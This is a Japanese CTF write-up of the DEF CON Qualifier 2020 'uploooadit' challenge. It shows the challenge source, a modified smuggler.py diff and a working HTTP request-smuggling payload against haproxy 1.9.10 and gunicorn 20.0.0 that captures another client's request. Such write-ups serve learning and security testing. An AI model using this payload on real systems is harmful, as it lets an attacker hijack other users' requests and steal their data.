こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

DEF CON CTF Qualifier 2020 Writeup - uploooadit

Question

https://uploooadit.oooverflow.io/

Files:
app.py 358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c
store.py dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0

ソースコードは以下のとおり。

app.py

import os
import re

from flask import Flask, abort, request

import store

GUID_RE = re.compile(
    r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z"
)

app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 512
filestore = store.S3Store()

# Uncomment the following line for simpler local testing of this service
# filestore = store.LocalStore()


@app.route("/files/", methods=["POST"])
def add_file():
    if request.headers.get("Content-Type") != "text/plain":
        abort(422)

    guid = request.headers.get("X-guid", "")
    if not GUID_RE.match(guid):
        abort(422)

    filestore.save(guid, request.data)
    return "", 201


@app.route("/files/<guid>", methods=["GET"])
def get_file(guid):
    if not GUID_RE.match(guid):
        abort(422)

    try:
        return filestore.read(guid), {"Content-Type": "text/plain"}
    except store.NotFound:
        abort(404)


@app.route("/", methods=["GET"])
def root():
    return "", 204

store.py

"""Provides two instances of a filestore.

There is not intended to be any vulnerability contained within this code. This file is provided to
make it easier to test locally without needing access to an S3 bucket.

-OOO

"""
import os

import boto3
import botocore


class NotFound(Exception):
    pass


class LocalStore:
    def __init__(self):
        import tempfile
        self.upload_directory = tempfile.mkdtemp()

    def read(self, key):
        filepath = os.path.join(self.upload_directory, key)

        try:
            with open(filepath, "rb") as fp:
                return fp.read()
        except FileNotFoundError:
            raise NotFound

    def save(self, key, data):
        with open(os.path.join(self.upload_directory, key), "wb") as fp:
            fp.write(data)


class S3Store:
    """Credentials grant access only to resource s3://BUCKET/* and only for:

    * GetObject
    * PutObject

    """

    def __init__(self):
        self.bucket = os.environ["BUCKET"]
        self.s3 = boto3.client("s3")

    def read(self, key):
        try:
            response = self.s3.get_object(Bucket=self.bucket, Key=key)
        except botocore.exceptions.ClientError as exception:
            if exception.response["HTTPStatusCode"] == 403:
                raise NotFound
            # No other exceptions encountered during testing
        return response["Body"].read()

    def save(self, key, data):
        self.s3.put_object(
            Body=data, Bucket=self.bucket, ContentType="text/plain", Key=key
        )

Solution

ソースコードを読むと、以下の機能を持つことがわかる。

  • /files/X-guidヘッダーを付けてPOSTすると、HTTPリクエストボディの内容をAWSのS3に保存
  • /files/<GUID>にGETすると、保存したデータを取得
  • デバッグ/開発者用にS3でなくローカルファイルで動作可能な機能もある

まずは適当なGUIDをセットしてPOSTしてみる。

$ curl https://uploooadit.oooverflow.io/files/ -H "Content-Type: text/plain" -H "X-guid: 14371510-af00-1211-3333-afed3109dade" -d "aaaaaaaa" -v
*   Trying 3.135.56.183:443...
* TCP_NODELAY set
* Connected to uploooadit.oooverflow.io (3.135.56.183) port 443 (#0)
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=*.oooverflow.io
*  start date: May  9 00:00:00 2020 GMT
*  expire date: Jun  9 12:00:00 2021 GMT
*  subjectAltName: host "uploooadit.oooverflow.io" matched cert's "*.oooverflow.io"
*  issuer: C=US; O=Amazon; OU=Server CA 1B; CN=Amazon
*  SSL certificate verify ok.
> POST /files/ HTTP/1.1
> Host: uploooadit.oooverflow.io
> User-Agent: curl/7.69.0-DEV
> Accept: */*
> Content-Type: text/plain
> X-guid: 14371510-af00-1211-3333-afed3109dade
> Content-Length: 8
> 
* upload completely sent off: 8 out of 8 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 201 CREATED
< Server: gunicorn/20.0.0
< Date: Sat, 16 May 2020 02:09:41 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 0
< Via: haproxy
< X-Served-By: ip-10-0-0-112.us-east-2.compute.internal
< 
* Connection #0 to host uploooadit.oooverflow.io left intact

gunicornのバージョンが得られた。 また、haproxyが間にいることがわかる。

gunicornの更新履歴を確認する。
docs.gunicorn.org

fixed chunked encoding support to prevent any request smuggling

これがあやしい。以下の攻撃手法を使うと推測。
portswigger.net

この手法が使えれば、自分が決めたGUIDの領域に、他者のHTTPリクエストの内容を記録できそうだ。

Googleで専用のツールがあるか検索して、以下のリポジトリでsmuggler.pyというツールを発見する。
Transfer-EncodingとContent-Lengthに色々なパターンのデータをセットして、上記の脆弱性の有無を確認してくれる。
github.com

$ wget https://raw.githubusercontent.com/gwen001/pentest-tools/master/smuggler.py

$ python3 smuggler.py -u https://uploooadit.oooverflow.io/ -v 4

                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 

                        by @gwendallecoguic


[+] 0 hosts found: None
[+] 1 urls found: https://uploooadit.oooverflow.io/
[+] 1 path found: None
[+] options are -> threads:10, verbose:4
[+] 1 urls to test.
[+] testing...
https://uploooadit.oooverflow.io/       M=      C=405       L=451       time=169        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0

<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:26:56 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-225.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
https://uploooadit.oooverflow.io/       M=CL:TE1|vanilla        C=400       L=216       time=169        T=text/html     V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 5
Transfer-Encoding: chunked

1
Z
Q

<<<
>>>HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>

<<<
(snip)

そのままでは成功しなかったが、haproxy 1.9.10であることがわかった。

もう少し調べてみると以下の記事を発見。
ミドルウェア、バージョンともに出題環境と一致している。
HAProxy HTTP request smuggling - nathandavison.com

上記の記事を見ながらツールを改造する。

  • ConnectionヘッダーにCloseをセットしない。
  • 攻撃データに、自分が決めたGUIDの領域(X-guidヘッダーでセット)へ他人のHTTPリクエストの内容を記録するPOSTリクエスト電文をセット。
  • POSTリクエスト後に、/files/にGETして、他人のHTTPリクエストの内容が記録できているか確認。
  • なお、Content-Lengthの390は、実行しながら調整した結果。最初は100くらいから試した。
$ cp -p smuggler.py smuggler_mod.py
$ diff smuggler.py smuggler_mod.py
57c57
<     'Connection': 'close',
---
>     # 'Connection': 'close',
66a67,81
> guid = "14371510-af00-1211-3333-afed3109dade"
> 
> body="""1
> A
> 0
> 
> POST /files/ HTTP/1.1
> Host: uploooadit.oooverflow.io
> Content-Type: text/plain
> X-guid: {}
> Content-Length: 390
> 
> hoge""".format(guid).replace("\n","\r\n")
> 
> 
68,71c83,87
<     {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
<     {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
<     {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'},
<     {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'},
---
> #    {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
> #    {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
> #    {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'},
> #    {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'},
>     {'name':'EXPLORE', 'Content-Length':len(body), 'body':body},
631c647,652
< 
---
>             print("-------- requests start --------")
>             r = requests.get(
>                 "https://uploooadit.oooverflow.io/files/{}".format(guid)
>             )
>             print(r.text)
>             print("-------- requests end --------")

実行する。

$ python3 smuggler_mod.py -u https://uploooadit.oooverflow.io/ -m prefix1_11 -v 4

                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 

                        by @gwendallecoguic


[+] 0 hosts found: None
[+] 1 urls found: https://uploooadit.oooverflow.io/
[+] 1 path found: None
[+] options are -> threads:10, verbose:4
[+] 1 urls to test.
[+] testing...
https://uploooadit.oooverflow.io/       M=      C=405       L=432       time=162        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:22:59 GMT
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-183.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
https://uploooadit.oooverflow.io/       M=EXPLORE|prefix1_11        C=405       L=432       time=162        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Transfer-Encoding: 
                   chunked

1
A
0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Type: text/plain
X-guid: 14371510-af00-1211-3333-afed3109dade
Content-Length: 390

hoge<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:23:00 GMT
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-225.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
-------- requests start --------
hogePOST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 931ab38b-2a16-4074-a603-5295cb90ef39
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

-------- requests end --------

出題者が定期的にフラグ文字列をPOSTするリクエストを流していたようで、フラグゲット。

OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}